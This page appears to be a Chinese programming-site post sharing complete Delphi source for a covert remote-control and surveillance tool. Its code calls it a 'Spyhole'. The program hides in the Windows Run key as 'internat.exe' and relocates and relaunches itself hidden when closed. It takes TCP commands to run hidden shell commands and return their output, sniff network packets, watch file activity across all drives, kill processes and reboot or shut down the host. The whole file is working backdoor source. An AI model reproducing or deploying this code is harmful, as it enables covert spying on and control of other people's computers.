控制台编程

开发平台：
Delphi

Main.pas：源码内容
							////////////////////////////////////////////////////////////////////////////////
//
// 2004 (C) Copyrights Reserved
// Author:Aureala
//
////////////////////////////////////////////////////////////////////////////////
unit Main;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdTCPServer, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdAntiFreezeBase, IdAntiFreeze, IdServerIOHandler,
  IdServerIOHandlerSocket, IdIOHandler, IdIOHandlerSocket, IdIntercept,
  IdThreadMgr, IdThreadMgrDefault, ExtCtrls, TlHelp32, ShellApi, Jpeg, StdCtrls,
  CapIp, DirMon, ProcessNotify, CpuUsage, SysTools, Registry;
  
const
  BYTES_SEND=2048;
  DISK='CDEFGHIJKLMNOPQRSTUVWXYZ';
type
  TMainForm = class;
  TSenderThread = class(TThread)
  private
    MainForm: TMainForm;
    StrMessage: String;
  protected
    procedure Execute();override;
  public
    constructor Create(TheForm:TMainForm);reintroduce;
    procedure Send(StrMsg:String);
  end;
  
  TMainForm = class(TForm)
    TCPSender: TIdTCPClient;
    TCPReceiver: TIdTCPServer;
    IdConnectionIntercept1: TIdConnectionIntercept;
    IdIOHandlerSocket1: TIdIOHandlerSocket;
    IdServerIOHandlerSocket1: TIdServerIOHandlerSocket;
    IdAntiFreeze1: TIdAntiFreeze;
    IdThreadMgrDefault1: TIdThreadMgrDefault;
    SaveRegTimer: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure TCPReceiverConnect(AThread: TIdPeerThread);
    procedure TCPReceiverDisconnect(AThread: TIdPeerThread);
    procedure TCPReceiverExecute(AThread: TIdPeerThread);
    procedure StartProcMon();               //启动进程监视
    procedure StartFileMon();               //启动文件操作监视
    procedure StartCpuMon();                //启动CPU监视
    procedure StartMemMon();                //启动内存监视
    procedure StartNetMon();                //启动网络监视
    procedure StopProcMon();                //关闭进程监视
    procedure StopFileMon();                //关闭文件操作监视
    procedure StopCpuMon();                 //关闭CPU监视
    procedure StopMemMon();                 //关闭内存监视
    procedure StopNetMon();                 //关闭网络监视
    procedure ExecuteShell(StrCmd:String);  //执行命令
    procedure ExitSpyhole();                //卸载监视器
    procedure SaveRegTimerTimer(Sender: TObject);                
  private
    CanTerminate:Boolean;
    SenderThread:TSenderThread;
  public
    { Public declarations }
  end;
var
  MainForm: TMainForm;
  MonThreadId:TIdPeerThread;
  ///////////////////////////////
  NetPackage:TCapIp;
  FileMon:array[0..22] of TDirMon;
  ProcMon:TProcessNotify;
  ///////////////////////////////
  Interval:Integer;
  IsCpuMon:Boolean;
  IsMemMon:Boolean;
  ///////////////////////////////
implementation
var
  hnd:THandle;
{$R *.dfm}
procedure TMainForm.FormCreate(Sender: TObject);
var
  Reg:TRegistry;
begin
  CanTerminate:=false;
  Interval:=100;
  MonThreadId:=nil;
  Reg:=TRegistry.Create;
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  if(Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true)) then
  begin
    Reg.WriteString('internat.exe',Application.ExeName);
    Reg.CloseKey;
  end;
  Reg.Free;
  SenderThread:=TSenderThread.Create(Self);
end;
procedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
var
  Reg:TRegistry;
  OldName,NewName,SysPath:array [0..(MAX_PATH-1)] of Char;
begin
  CanClose:=false;
  GetSystemDirectory(SysPath,MAX_PATH);
  GetTempFileName(SysPath,'',0,NewName);
  StrPcopy(OldName,Application.ExeName);
  StrPcopy(NewName,NewName+'.exe');
  CopyFile(OldName,NewName,false);
  DeleteFile(OldName);
  Reg:=TRegistry.Create;
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  if(Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true)) then
  begin
    Reg.WriteString('internat.exe',NewName);
    Reg.CloseKey;
  end;
  Reg.Free;
  if(Win32Platform <> VER_PLATFORM_WIN32_NT) then
    WinExec(PAnsiChar('command /c '+NewName),SW_HIDE)
  else
    WinExec(PAnsiChar('cmd /c '+NewName),SW_HIDE);
end;
procedure TMainForm.TCPReceiverConnect(AThread: TIdPeerThread);
begin
  ;
end;
procedure TMainForm.TCPReceiverDisconnect(AThread: TIdPeerThread);
begin
  ;
end;
procedure TMainForm.TCPReceiverExecute(AThread: TIdPeerThread);
var
  StrReceived:String;
  StrMsg:TStrings;
  CmdId:Integer;
begin
  try
    StrReceived:=AThread.Connection.ReadLn(#10#10);
    StrReceived:=Trim(StrReceived);
    StrMsg:=TStringList.Create;
    StrMsg.AddStrings(ExtractStr(StrReceived,'|'));
    CmdId:=StrToInt('$'+StrMsg[0]);
    MonThreadId:=AThread;
    case CmdId of
    $0:	//CONNECT START，服务探测，连接到探测器
      begin
        TCPSender.Host:=AThread.Connection.Socket.Binding.PeerIP;
        TCPSender.Port:=StrToInt(StrMsg[1]);
        TCPSender.Connect();
        if(TCPSender.Connected=false) then
        begin
          exit;
        end;
        if(SenderThread.Terminated) then
          SenderThread.Execute
        else if(SenderThread.Suspended) then
          SenderThread.Resume;
      end;
    $4://END，终止所有监视
      begin
        StopProcMon();
        StopFileMon();
        StopCpuMon();
        StopMemMon();
        StopNetMon();
      end;
    $6://RESTART OS，重启计算机
      begin
        RebootMachine();
      end;
    $7://SHUTDOWN OS，关闭计算机
      begin
        ShutDownMachine();
      end;
    $8://LOG OUT，注销
      begin
        Logout();
      end;
    $20://START PROC，启动进程监视
      begin
        StartProcMon();
      end;
    $21://END PROC，终止进程监视
      begin
        StopProcMon();
      end;
    $22://LIST PROCESSES，列出所有进程
      begin
        TCPSender.WriteLn(TimeInfo()+'|'+ListProcesses()+#10#10);
      end;
    $23://KILL PROCESS，关闭进程号为ID的进程
      begin
        if(KillProcess(StrToInt64('$'+StrMsg[1]))) then
        begin
          TCPSender.WriteLn(TimeInfo()+'|23|0'+#10#10);
        end
        else
        begin
          TCPSender.WriteLn(TimeInfo()+'|23|1'+#10#10);
        end;
      end;
    $30://START FILE，启动文件监视
      begin
        StartFileMon();
      end;
    $31://END FILE，终止文件监视
      begin
        StopFileMon();
      end;
   $40://START MEM [T]，启动内存监视，每隔T秒检测一次
      begin
        if(StrToInt(StrMsg[1])<0) then
          Interval:=100
        else
          Interval:=StrToInt(StrMsg[1])*10;
        StartMemMon();
      end;
    $41://END MEM，终止内存监视
      begin
        StopMemMon();
      end;
    $50://START CPU [T]，启动CPU监视，每隔T秒检测一次
      begin
        if(StrToInt(StrMsg[1])<0) then
          Interval:=100
        else
          Interval:=StrToInt(StrMsg[1])*10;
        StartCpuMon();
      end;
    $51://END COU，终止CPU监视
      begin
        StopCpuMon();
      end;
    $80://START NET PACKAGE，启动网络数据包监视
      begin
        StartNetMon();
      end;
    $81://END NET PACKAGE，停止网络数据包监视
      begin
        StopNetMon();
      end;
    $A0://SHELLEXEC，执行命令
      begin
        ExecuteShell(StrMsg[1]);
      end;
    $B0://MSG，监控器发送的消息
      begin
        MessageBox(Handle,PAnsiChar(StrMsg[1]),'新信息',0);
      end;
    else
      ;
    end;
  except
    ;
  end;
end;
procedure TMainForm.StartProcMon();
begin
  if(not Assigned(ProcMon)) then
  begin
    ProcMon:=TProcessNotify.Create(MainForm);
    ProcMon.AsyncNotify:=true;
    ProcMon.OnProcessCreated:=SenderThread.Send;
    ProcMon.OnProcessTerminated:=SenderThread.Send;
  end;
  ProcMon.Enabled:=true;
end;
procedure TMainForm.StartFileMon();
var
   N:Integer;
begin
  for N:=1 to 24 do
  begin
    if(not DirectoryExists(DISK[N]+':')) then
    begin
      exit;
    end;
    if(not Assigned(FileMon[N])) then
    begin
      FileMon[N]:=TDirMon.Create(MainForm);
      FileMon[N].Path:=DISK[N]+':';
      FileMon[N].WatchSubtree:=true;
      FileMon[N].WatchFilters:=[nfFILE_NAME,
                  nfDIR_NAME,
                  nfATTRIBUTES,
                  nfSIZE,
                  nfLAST_WRITE,
                  nfLAST_ACCESS,
                  nfCREATION,
                  nfSECURITY];
      FileMon[N].OnCreated:=SenderThread.Send;
      FileMon[N].OnDeleted:=SenderThread.Send;
      FileMon[N].OnModified:=SenderThread.Send;
      FileMon[N].OnRenamed:=SenderThread.Send;
    end;
    FileMon[N].Active:=true;
  end;
end;
procedure TMainForm.StartCpuMon();
begin
  IsCpuMon:=true;
end;
procedure TMainForm.StartMemMon();
begin
  IsMemMon:=true;
end;
procedure TMainForm.StartNetMon();
begin
  if(not Assigned(NetPackage)) then
  begin
    NetPackage:=TCapIp.Create();
    NetPackage.OnCap:=SenderThread.Send;
  end;
  NetPackage.StartCap;
end;
procedure TMainForm.StopProcMon();
begin
  if(Assigned(ProcMon)) then
    ProcMon.Destroy;
end;
procedure TMainForm.StopFileMon();
var
  N:Integer;
begin
  for N:=0 to 22 do
  begin
    if(Assigned(FileMon[N])) then
    begin
      FileMon[N].Destroy;
    end
    else
      exit;
  end;
end;
procedure TMainForm.StopCpuMon();
begin
  IsCpuMon:=false;
end;
procedure TMainForm.StopMemMon();
begin
  IsMemMon:=false;
end;
procedure TMainForm.StopNetMon();
begin
  if(Assigned(NetPackage)) then
    NetPackage.Destroy;
end;
procedure TMainForm.ExecuteShell(StrCmd:String);
var
  StrTmp:PChar;
  TmpPathName:array [0..MAX_PATH] of Char;
  TmpFileName:array [0..255] of Char;
  ExecRes:Cardinal;
  TmpFile:TextFile;
  Buf:String;
begin
  if(StrCmd='') then
  begin
    TCPSender.WriteLn('a'+ExtractFilePath(ParamStr(0)));
    exit;
  end;
  GetTempPath(Sizeof(TmpPathName),TmpPathName);
  GetTempFileName(TmpPathName,'',0,TmpFileName);
  if Win32Platform <> VER_PLATFORM_WIN32_NT then
    StrTmp:='command'
  else
    StrTmp:='cmd';
  StrTmp:=PAnsiChar(StrTmp+' /c " '+StrCmd+' >'+TmpFileName+'"');
  ExecRes:=WinExec(StrTmp,SW_HIDE);
  if(ExecRes>31) then
  begin
    Sleep(600);
    AssignFile(TmpFile,TmpFileName);
    Reset(TmpFile);
    SenderThread.Suspend;
    while(not Eof(TmpFile)) do
    begin
      try
        ReadLn(TmpFile,Buf);
        TCPSender.WriteLn('a'+Buf+#10#10);
      except
        ;
      end;
    end;
    SenderThread.Resume;
    CloseFile(TmpFile);
    DeleteFile(TmpFileName);
  end
  else
  begin
    TCPSender.WriteLn('a执行命令错误，可能是操作系统不支持或者你的命令格式不正确。'
      +#10#10);
  end;
end;
procedure TMainForm.ExitSpyhole();
begin
  TCPSender.Disconnect;
  TCPReceiver.Active:=false;
end;
constructor TSenderThread.Create(TheForm:TMainForm);
begin
  MainForm:=TheForm;
  inherited Create(false);
  IsCpuMon:=false;
  IsMemMon:=false;
end;
procedure TSenderThread.Execute();
var
  TMS:TMemoryStatus;
  StrInfo:String;
  N:Integer;
begin
  N:=0;
  while not Terminated do
  begin
    try
      N:=N+1;
      if(N>=Interval) then
      begin
        if(IsCpuMon) then
        begin
          CollectCpuData;
          StrInfo:=TimeInfo()+'|5|'
            +IntToStr(Round(GetCpuUsage(0)*100));
          MainForm.TCPSender.WriteLn(StrInfo+#10#10);
        end;
        if(IsMemMon) then
        begin
          GlobalMemoryStatus(TMS);
          StrInfo:=TimeInfo()+'|4|'
            +IntToStr(TMS.dwMemoryLoad)+'|'+IntToStr(TMS.dwAvailPhys div 1048576);
          MainForm.TCPSender.WriteLn(StrInfo+#10#10);
        end;
        N:=0;
      end;
      if(MainForm.TCPSender.Connected) and (StrMessage<>'') then
      begin
        MainForm.TCPSender.WriteLn(StrMessage+#10#10);
        StrMessage:='';
      end
      else
      begin
        Sleep(100);
      end;
    except
      Sleep(100);
    end;
  end;
end;
procedure TSenderThread.Send(StrMsg:String);
begin
  StrMessage:=TimeInfo()+'|'+StrMsg;
end;
procedure TMainForm.SaveRegTimerTimer(Sender: TObject);
var
  Reg:TRegistry;
begin
  Reg:=TRegistry.Create;
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  if(Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true)) then
  begin
    Reg.WriteString('internat.exe',Application.ExeName);
    Reg.CloseKey;
  end;
  Reg.Free;
end;
initialization
  hnd:=CreateMutex(nil,True,'sys32ws kernl extream');
  if(GetLastError=ERROR_ALREADY_EXISTS) then
  begin
    Halt;
  end;
finalization
  if(hnd<>0) then
    CloseHandle(hnd);
end.

						